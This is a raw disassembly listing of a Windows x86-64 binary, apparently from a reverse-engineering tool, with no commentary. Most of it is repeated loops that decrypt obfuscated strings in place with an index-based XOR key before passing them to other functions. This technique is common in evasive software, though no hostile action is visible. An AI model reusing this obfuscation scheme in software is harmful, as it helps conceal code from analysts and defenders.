cmp r8d, 0x27
jl 0x14001c7e1
mov rdx, r10
lea rcx, [rbp + 0x1978]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1998]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1958]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1998]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1978]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1938]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x18f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x18d8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1898]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1878]
call fcn.140007bc0
lea rax, [rbp + 0x4d8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x4d8]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5a68]
lea rcx, [rbp - 0x37]
call fcn.14002ec60
mov r10, rax
cmp word [rax + 0x28], 0
je 0x14001cb53
mov r8d, esi
cmp r14d, 2
jl 0x14001cb0f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14001cb20
mov rdx, r10
lea rcx, [rbp + 0x19b8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x19d8]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x19f8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x36]
call fcn.14002ec30
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14001cdff
mov r8d, esi
cmp r14d, 2
jl 0x14001cdbd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14001cdd0
mov rdx, r10
lea rcx, [rbp + 0x1a18]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1a38]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x19f8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1a58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x56a8]
lea rcx, [rbp - 0x35]
call fcn.14002ec00
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001cfa0
mov r8d, esi
cmp r14d, 2
jl 0x14001cf6b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ce80
cmp r8d, 0x21
jge 0x14001cfa0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001cf71
mov rdx, r10
lea rcx, [rbp + 0x1a78]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1a58]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5950]
lea rcx, [rbp - 0x34]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001d120
mov r8d, esi
cmp r14d, 2
jl 0x14001d0eb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d000
cmp r8d, 0x27
jge 0x14001d120
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001d0f1
mov rdx, r10
lea rcx, [rbp + 0x1ab8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1ad8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1a98]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1ad8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1ab8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1a78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1a38]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1a18]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x19d8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x19b8]
call fcn.140007bc0
lea rax, [rbp + 0x4f0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x4f0]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5b88]
lea rcx, [rbp - 0x33]
call fcn.14002ed00
mov r10, rax
cmp word [rax + 0x2c], 0
je 0x14001d463
mov r8d, esi
cmp r14d, 2
jl 0x14001d41f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x17
jl 0x14001d430
mov rdx, r10
lea rcx, [rbp + 0x1af8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x1b18]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x1b38]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x32]
call fcn.14002ecd0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14001d70f
mov r8d, esi
cmp r14d, 2
jl 0x14001d6cd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14001d6e0
mov rdx, r10
lea rcx, [rbp + 0x1b58]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x1b78]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1b38]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x1b98]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5680]
lea rcx, [rbp - 0x31]
call fcn.14002eca0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001d8b0
mov r8d, esi
cmp r14d, 2
jl 0x14001d87b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d790
cmp r8d, 0x21
jge 0x14001d8b0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001d881
mov rdx, r10
lea rcx, [rbp + 0x1bb8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1b98]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5810]
lea rcx, [rbp - 0x30]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001da30
mov r8d, esi
cmp r14d, 2
jl 0x14001d9fb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d910
cmp r8d, 0x27
jge 0x14001da30
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001da01
mov rdx, r10
lea rcx, [rbp + 0x1bf8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1c18]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1bd8]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x1c18]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1bf8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1bb8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1b78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1b58]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1b18]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x1af8]
call fcn.140007bc0
lea rax, [rbp + 0x508]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x508]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5c58]
lea rcx, [rbp - 0x2f]
call fcn.14002eda0
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001ddd4
mov r8d, esi
cmp r14d, 2
jl 0x14001dd9a
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
